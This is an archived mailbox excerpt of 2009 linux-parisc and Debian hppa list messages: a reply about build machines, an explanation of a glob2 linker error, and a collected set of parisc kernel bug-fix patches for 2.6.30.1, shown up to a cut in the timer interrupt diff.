	Fri, 3 Jul 2009 18:15:24 -0400
Original-Received: from juliette.telenet-ops.be ([195.130.137.74]:56088 "EHLO
	juliette.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755087AbZGCWPY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jul 2009 18:15:24 -0400
Original-Received: from intrepid.roeckx.be ([84.194.126.74])
	by juliette.telenet-ops.be with bizsmtp
	id BaFR1c0051cSCaU06aFR0V; Sat, 04 Jul 2009 00:15:25 +0200
Original-Received: by intrepid.roeckx.be (Postfix, from userid 1000)
	id 83215EBC5E; Sat,  4 Jul 2009 00:15:25 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090703192800.GA15390@durotan.0x539.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1847 gmane.linux.debian.ports.hppa:5799 gmane.linux.debian.devel.release:30989
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1847>

On Fri, Jul 03, 2009 at 09:28:00PM +0200, Philipp Kern wrote:
> On Fri, Jul 03, 2009 at 08:57:56PM +0200, Kurt Roeckx wrote:
> > Did something change to peri?  I'm currently only seeing them on
> > penalosa.
> 
> UP kernel, maybe?

Both peri and penalosa run 2.6.29-2-parisc64-smp and from what I
can tell run on identical hardware.


Kurt

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 4 Jul 2009 15:52:16 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20090704195218.1E7B4514A@hiauly1.hia.nrc.ca>
References: <20090703185756.GA323@roeckx.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246737152 25565 80.91.229.12 (4 Jul 2009 19:52:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jul 2009 19:52:32 +0000 (UTC)
Cc: pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: kurt@roeckx.be (Kurt Roeckx)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 04 21:52:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNBHb-00043R-Lh
	for glpp-linux-parisc@gmane.org; Sat, 04 Jul 2009 21:52:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752239AbZGDTwS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jul 2009 15:52:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750901AbZGDTwS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Jul 2009 15:52:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3891 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750824AbZGDTwR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jul 2009 15:52:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1E7B4514A; Sat,  4 Jul 2009 15:52:17 -0400 (EDT)
In-Reply-To: <20090703185756.GA323@roeckx.be> from "Kurt Roeckx" at Jul 3, 2009 08:57:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1848 gmane.linux.debian.ports.hppa:5800 gmane.linux.debian.devel.release:30998
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1848>

> And then there is glob2 that fails with:
> /usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot reach 0000f9bf_memcpy@@GLIBC_2.2+0, recompile with -ffunction-sections
> /usr/bin/ld: libgag/src/libgag.a(FileManager.o)(.text+0x2fc8): cannot handle R_PARISC_PCREL17F for memcpy@@GLIBC_2.2
> /usr/bin/ld: final link failed: Bad value
> collect2: ld returned 1 exit status

I couldn't duplicate the problem with binutils 2.19.1-1 and gcc-4.3
4.3.3-10, or with my own binutils build on two different systems.

The above shouldn't happen as the text size of FileManager.o is well below
the size where a 17-bit branch can't reach the stub table.  Possibly, the
stub table is full.  On the otherhand, the "0000f9bf_memcpy@@GLIBC_2.2+0"
string looks garbled.  So, this may be another form of the SMP memory
corruption that causes the segvs, particularly if it isn't reproducible
on the build system.

The suggestion to "recompile with -ffunction-sections" is somewhat
misleading.  While -ffunction-sections may help sometimes, in other
cases it may be necessary to play with the ld --stub-group-size=N
option, or to compile with -mlong-calls.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Collected parisc patches for 2.6.30.1
Date: Sat, 4 Jul 2009 16:05:28 -0400 (EDT)
Lines: 1066
Approved: news@gmane.org
Message-ID: <20090704200530.516795149@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246737966 27303 80.91.229.12 (4 Jul 2009 20:06:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jul 2009 20:06:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 04 22:05:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNBUO-0007hF-NI
	for glpp-linux-parisc@gmane.org; Sat, 04 Jul 2009 22:05:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750901AbZGDUFa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jul 2009 16:05:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752340AbZGDUFa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Jul 2009 16:05:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3893 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750901AbZGDUF3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jul 2009 16:05:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 516795149; Sat,  4 Jul 2009 16:05:29 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1849
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1849>

I've collected a bunch of parisc bug fixes and other changes that
apply against 2.6.30.1.  Sorry about the loss of attribution.

I really wish we had a set of stable git trees (e.g., parisc-2.6.30.y)
against which safe parisc changes are applied.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index ada3e53..7d5ebf1 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -222,13 +222,13 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
 
-#define atomic_add(i,v)	((void)(__atomic_add_return( ((int)(i)),(v))))
-#define atomic_sub(i,v)	((void)(__atomic_add_return(-((int)(i)),(v))))
+#define atomic_add(i,v)	((void)(__atomic_add_return( (i),(v))))
+#define atomic_sub(i,v)	((void)(__atomic_add_return(-(i),(v))))
 #define atomic_inc(v)	((void)(__atomic_add_return(   1,(v))))
 #define atomic_dec(v)	((void)(__atomic_add_return(  -1,(v))))
 
-#define atomic_add_return(i,v)	(__atomic_add_return( ((int)(i)),(v)))
-#define atomic_sub_return(i,v)	(__atomic_add_return(-((int)(i)),(v)))
+#define atomic_add_return(i,v)	(__atomic_add_return( (i),(v)))
+#define atomic_sub_return(i,v)	(__atomic_add_return(-(i),(v)))
 #define atomic_inc_return(v)	(__atomic_add_return(   1,(v)))
 #define atomic_dec_return(v)	(__atomic_add_return(  -1,(v)))
 
diff --git a/arch/parisc/include/asm/dma.h b/arch/parisc/include/asm/dma.h
index 31ad0f0..f7a18f9 100644
--- a/arch/parisc/include/asm/dma.h
+++ b/arch/parisc/include/asm/dma.h
@@ -1,5 +1,4 @@
-/* $Id: dma.h,v 1.2 1999/04/27 00:46:18 deller Exp $
- * linux/include/asm/dma.h: Defines for using and allocating dma channels.
+/* asm/dma.h: Defines for using and allocating dma channels.
  * Written by Hennus Bergman, 1992.
  * High DMA channel support & info by Hannu Savolainen
  * and John Boyd, Nov. 1992.
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index ee80c92..d91357b 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -168,8 +168,8 @@ static inline void set_eiem(unsigned long val)
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
 #define __ldcw(a) ({						\
 	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%1),%0"			\
-		: "=r" (__ret) : "r" (a));			\
+	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
+		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
 	__ret;							\
 })
 
diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 1f6fd4f..217588e 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -18,8 +18,8 @@
  */
 extern spinlock_t pa_tlb_lock;
 
-#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)
-#define purge_tlb_end(x) spin_unlock(&pa_tlb_lock)
+#define purge_tlb_start(flags)	spin_lock_irqsave(&pa_tlb_lock, flags)
+#define purge_tlb_end(flags)	spin_unlock_irqrestore(&pa_tlb_lock, flags)
 
 extern void flush_tlb_all(void);
 extern void flush_tlb_all_local(void *);
@@ -64,13 +64,14 @@ static inline void flush_tlb_page(struct vm_area_struct *vma,
 	unsigned long addr)
 {
 	/* For one page, it's not worth testing the split_tlb variable */
+	unsigned long flags;
 
 	mb();
 	mtsp(vma->vm_mm->context,1);
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	pdtlb(addr);
 	pitlb(addr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 }
 
 void __flush_tlb_range(unsigned long sid,
diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index ef26b00..a3c3419 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -807,8 +807,10 @@
 #define __NR_dup3		(__NR_Linux + 312)
 #define __NR_pipe2		(__NR_Linux + 313)
 #define __NR_inotify_init1	(__NR_Linux + 314)
+#define __NR_preadv		(__NR_Linux + 315)
+#define __NR_pwritev		(__NR_Linux + 316)
 
-#define __NR_Linux_syscalls	(__NR_inotify_init1 + 1)
+#define __NR_Linux_syscalls	(__NR_pwritev + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 837530e..57b3908 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -1,5 +1,4 @@
-/* $Id: cache.c,v 1.4 2000/01/25 00:11:38 prumpf Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
@@ -400,10 +399,11 @@ void clear_user_page_asm(void *page, unsigned long vaddr)
 {
 	/* This function is implemented in assembly in pacache.S */
 	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
+	unsigned long flags;
 
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 }
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
@@ -444,20 +444,22 @@ extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
+	unsigned long flags;
 	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	pdtlb_kernel(page);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 	clear_user_page_asm(page, vaddr);
 }
 EXPORT_SYMBOL(clear_user_page);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
+	unsigned long flags;
 	flush_kernel_dcache_page_asm(addr);
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	pdtlb_kernel(addr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
@@ -490,8 +492,9 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
 	if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
 		flush_tlb_all();
 	else {
+		unsigned long flags;
 		mtsp(sid, 1);
-		purge_tlb_start();
+		purge_tlb_start(flags);
 		if (split_tlb) {
 			while (npages--) {
 				pdtlb(start);
@@ -504,7 +507,7 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
 				start += PAGE_SIZE;
 			}
 		}
-		purge_tlb_end();
+		purge_tlb_end(flags);
 	}
 }
 
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index bd1f7f1..bb3195b 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -170,23 +170,27 @@ static void __init pagezero_memconfig(void)
 static int __init 
 pat_query_module(ulong pcell_loc, ulong mod_index)
 {
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
 	unsigned long bytecnt;
 	unsigned long temp;	/* 64-bit scratch value */
 	long status;		/* PDC return value status */
 	struct parisc_device *dev;
 
+	pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
+	if (!pa_pdc_cell)
+		panic("couldn't allocate memory for PDC_PAT_CELL!");
+
 	/* return cell module (PA or Processor view) */
 	status = pdc_pat_cell_module(&bytecnt, pcell_loc, mod_index,
-				     PA_VIEW, &pa_pdc_cell);
+				     PA_VIEW, pa_pdc_cell);
 
 	if (status != PDC_OK) {
 		/* no more cell modules or error */
 		return status;
 	}
 
-	temp = pa_pdc_cell.cba;
-	dev = alloc_pa_dev(PAT_GET_CBA(temp), &pa_pdc_cell.mod_path);
+	temp = pa_pdc_cell->cba;
+	dev = alloc_pa_dev(PAT_GET_CBA(temp), &(pa_pdc_cell->mod_path));
 	if (!dev) {
 		return PDC_OK;
 	}
@@ -203,8 +207,8 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	/* save generic info returned from the call */
 	/* REVISIT: who is the consumer of this? not sure yet... */
-	dev->mod_info = pa_pdc_cell.mod_info;	/* pass to PAT_GET_ENTITY() */
-	dev->pmod_loc = pa_pdc_cell.mod_location;
+	dev->mod_info = pa_pdc_cell->mod_info;	/* pass to PAT_GET_ENTITY() */
+	dev->pmod_loc = pa_pdc_cell->mod_location;
 
 	register_parisc_device(dev);	/* advertise device */
 
@@ -216,14 +220,14 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 
 	case PAT_ENTITY_PROC:
 		printk(KERN_DEBUG "PAT_ENTITY_PROC: id_eid 0x%lx\n",
-			pa_pdc_cell.mod[0]);
+			pa_pdc_cell->mod[0]);
 		break;
 
 	case PAT_ENTITY_MEM:
 		printk(KERN_DEBUG 
 			"PAT_ENTITY_MEM: amount 0x%lx min_gni_base 0x%lx min_gni_len 0x%lx\n",
-			pa_pdc_cell.mod[0], pa_pdc_cell.mod[1], 
-			pa_pdc_cell.mod[2]);
+			pa_pdc_cell->mod[0], pa_pdc_cell->mod[1], 
+			pa_pdc_cell->mod[2]);
 		break;
 	case PAT_ENTITY_CA:
 		printk(KERN_DEBUG "PAT_ENTITY_CA: %ld\n", pcell_loc);
@@ -243,23 +247,26 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
  print_ranges:
 		pdc_pat_cell_module(&bytecnt, pcell_loc, mod_index,
 				    IO_VIEW, &io_pdc_cell);
-		printk(KERN_DEBUG "ranges %ld\n", pa_pdc_cell.mod[1]);
-		for (i = 0; i < pa_pdc_cell.mod[1]; i++) {
+		printk(KERN_DEBUG "ranges %ld\n", pa_pdc_cell->mod[1]);
+		for (i = 0; i < pa_pdc_cell->mod[1]; i++) {
 			printk(KERN_DEBUG 
 				"  PA_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
-				i, pa_pdc_cell.mod[2 + i * 3],	/* type */
-				pa_pdc_cell.mod[3 + i * 3],	/* start */
-				pa_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
+				i, pa_pdc_cell->mod[2 + i * 3],	/* type */
+				pa_pdc_cell->mod[3 + i * 3],	/* start */
+				pa_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
 			printk(KERN_DEBUG 
 				"  IO_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
-				i, io_pdc_cell.mod[2 + i * 3],	/* type */
-				io_pdc_cell.mod[3 + i * 3],	/* start */
-				io_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
+				i, io_pdc_cell->mod[2 + i * 3],	/* type */
+				io_pdc_cell->mod[3 + i * 3],	/* start */
+				io_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
 		}
 		printk(KERN_DEBUG "\n");
 		break;
 	}
 #endif /* DEBUG_PAT */
+
+	kfree(pa_pdc_cell);
+
 	return PDC_OK;
 }
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 4ea4229..5dc6cc1 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -120,7 +120,7 @@ int cpu_check_affinity(unsigned int irq, const struct cpumask *dest)
 	if (CHECK_IRQ_PER_CPU(irq)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it */
-		cpumask_setall(&irq_desc[irq].affinity);
+		cpumask_setall(irq_desc[irq].affinity);
 		return -EINVAL;
 	}
 
@@ -138,11 +138,11 @@ static void cpu_set_affinity_irq(unsigned int irq, const struct cpumask *dest)
 	if (cpu_dest < 0)
 		return;
 
-	cpumask_copy(&irq_desc[irq].affinity, dest);
+	cpumask_copy(irq_desc[irq].affinity, dest);
 }
 #endif
 
-static struct hw_interrupt_type cpu_interrupt_type = {
+static struct irq_chip cpu_interrupt_type = {
 	.typename	= "CPU",
 	.startup	= cpu_startup_irq,
 	.shutdown	= cpu_disable_irq,
@@ -297,7 +297,7 @@ int txn_alloc_irq(unsigned int bits_wide)
 unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
-	cpumask_copy(&irq_desc[irq].affinity, cpumask_of(cpu));
+	cpumask_copy(irq_desc[irq].affinity, cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -354,7 +354,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	cpumask_copy(&dest, &irq_desc[irq].affinity);
+	cpumask_copy(&dest, irq_desc[irq].affinity);
 	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status) &&
 	    !cpu_isset(smp_processor_id(), dest)) {
 		int cpu = first_cpu(dest);
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 7d927ea..b8ec5a0 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -90,12 +90,13 @@ static inline int map_pte_uncached(pte_t * pte,
 	if (end > PMD_SIZE)
 		end = PMD_SIZE;
 	do {
+		unsigned long flags;
 		if (!pte_none(*pte))
 			printk(KERN_ERR "map_pte_uncached: page already exists\n");
 		set_pte(pte, __mk_pte(*paddr_ptr, PAGE_KERNEL_UNC));
-		purge_tlb_start();
+		purge_tlb_start(flags);
 		pdtlb_kernel(orig_vaddr);
-		purge_tlb_end();
+		purge_tlb_end(flags);
 		vaddr += PAGE_SIZE;
 		orig_vaddr += PAGE_SIZE;
 		(*paddr_ptr) += PAGE_SIZE;
@@ -168,11 +169,12 @@ static inline void unmap_uncached_pte(pmd_t * pmd, unsigned long vaddr,
 	if (end > PMD_SIZE)
 		end = PMD_SIZE;
 	do {
+		unsigned long flags;
 		pte_t page = *pte;
 		pte_clear(&init_mm, vaddr, pte);
-		purge_tlb_start();
+		purge_tlb_start(flags);
 		pdtlb_kernel(orig_vaddr);
-		purge_tlb_end();
+		purge_tlb_end(flags);
 		vaddr += PAGE_SIZE;
 		orig_vaddr += PAGE_SIZE;
 		pte++;
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 6936386..f7064ab 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -1,5 +1,4 @@
-/* $Id: pci.c,v 1.6 2000/01/29 00:12:05 grundler Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index e09d0f7..c8fb61e 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -1,5 +1,4 @@
-/*    $Id: processor.c,v 1.1 2002/07/20 16:27:06 rhirst Exp $
- *
+/*
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
@@ -121,22 +120,28 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	if (is_pdc_pat()) {
 		ulong status;
 		unsigned long bytecnt;
-	        pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+	        pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
 #undef USE_PAT_CPUID
 #ifdef USE_PAT_CPUID
 		struct pdc_pat_cpu_num cpu_info;
 #endif
 
+		pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
+		if (!pa_pdc_cell)
+			panic("couldn't allocate memory for PDC_PAT_CELL!");
+
 		status = pdc_pat_cell_module(&bytecnt, dev->pcell_loc,
-			dev->mod_index, PA_VIEW, &pa_pdc_cell);
+			dev->mod_index, PA_VIEW, pa_pdc_cell);
 
 		BUG_ON(PDC_OK != status);
 
 		/* verify it's the same as what do_pat_inventory() found */
-		BUG_ON(dev->mod_info != pa_pdc_cell.mod_info);
-		BUG_ON(dev->pmod_loc != pa_pdc_cell.mod_location);
+		BUG_ON(dev->mod_info != pa_pdc_cell->mod_info);
+		BUG_ON(dev->pmod_loc != pa_pdc_cell->mod_location);
+
+		txn_addr = pa_pdc_cell->mod[0];   /* id_eid for IO sapic */
 
-		txn_addr = pa_pdc_cell.mod[0];   /* id_eid for IO sapic */
+		kfree(pa_pdc_cell);
 
 #ifdef USE_PAT_CPUID
 /* We need contiguous numbers for cpuid. Firmware's notion
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 82131ca..cb71f3d 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -1,5 +1,4 @@
-/*    $Id: setup.c,v 1.8 2000/02/02 04:42:38 prumpf Exp $
- *
+/*
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 0838155..7488cfd 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -179,68 +179,6 @@ asmlinkage long sys32_sched_rr_get_interval(pid_t pid,
 	return ret;
 }
 
-/*** copied from mips64 ***/
-/*
- * Ooo, nasty.  We need here to frob 32-bit unsigned longs to
- * 64-bit unsigned longs.
- */
-
-static inline int
-get_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
-{
-	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
-	if (ufdset) {
-		unsigned long odd;
-
-		if (!access_ok(VERIFY_WRITE, ufdset, n*sizeof(u32)))
-			return -EFAULT;
-
-		odd = n & 1UL;
-		n &= ~1UL;
-		while (n) {
-			unsigned long h, l;
-			__get_user(l, ufdset);
-			__get_user(h, ufdset+1);
-			ufdset += 2;
-			*fdset++ = h << 32 | l;
-			n -= 2;
-		}
-		if (odd)
-			__get_user(*fdset, ufdset);
-	} else {
-		/* Tricky, must clear full unsigned long in the
-		 * kernel fdset at the end, this makes sure that
-		 * actually happens.
-		 */
-		memset(fdset, 0, ((n + 1) & ~1)*sizeof(u32));
-	}
-	return 0;
-}
-
-static inline void
-set_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
-{
-	unsigned long odd;
-	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
-
-	if (!ufdset)
-		return;
-
-	odd = n & 1UL;
-	n &= ~1UL;
-	while (n) {
-		unsigned long h, l;
-		l = *fdset++;
-		h = l >> 32;
-		__put_user(l, ufdset);
-		__put_user(h, ufdset+1);
-		ufdset += 2;
-		n -= 2;
-	}
-	if (odd)
-		__put_user(*fdset, ufdset);
-}
-
 struct msgbuf32 {
     int mtype;
     char mtext[1];
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 03b9a01..6a62961 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -413,6 +413,8 @@
 	ENTRY_SAME(dup3)
 	ENTRY_SAME(pipe2)
 	ENTRY_SAME(inotify_init1)
+	ENTRY_COMP(preadv)
+	ENTRY_COMP(pwritev)
 
 	/* Nothing yet */
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index d4dd056..a79c6f9 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -56,9 +56,9 @@ static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
  */
 irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 {
-	unsigned long now;
+	unsigned long now, now2;
 	unsigned long next_tick;
-	unsigned long cycles_elapsed, ticks_elapsed;
+	unsigned long cycles_elapsed, ticks_elapsed = 1;
 	unsigned long cycles_remainder;
 	unsigned int cpu = smp_processor_id();
 	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
@@ -71,44 +71,24 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	/* Initialize next_tick to the expected tick time. */
 	next_tick = cpuinfo->it_value;
 
-	/* Get current interval timer.
-	 * CR16 reads as 64 bits in CPU wide mode.
-	 * CR16 reads as 32 bits in CPU narrow mode.
-	 */
+	/* Get current cycle counter (Control Register 16). */
 	now = mfctl(16);
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 5) < cpt) {
+	if ((cycles_elapsed >> 6) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
 		cycles_remainder = cycles_elapsed;
-		ticks_elapsed = 1;
 		while (cycles_remainder > cpt) {
 			cycles_remainder -= cpt;
 			ticks_elapsed++;
 		}
 	} else {
+		/* TODO: Reduce this to one fdiv op */
 		cycles_remainder = cycles_elapsed % cpt;
-		ticks_elapsed = 1 + cycles_elapsed / cpt;
-	}
-
-	/* Can we differentiate between "early CR16" (aka Scenario 1) and
-	 * "long delay" (aka Scenario 3)? I don't think so.
-	 *
-	 * We expected timer_interrupt to be delivered at least a few hundred
-	 * cycles after the IT fires. But it's arbitrary how much time passes
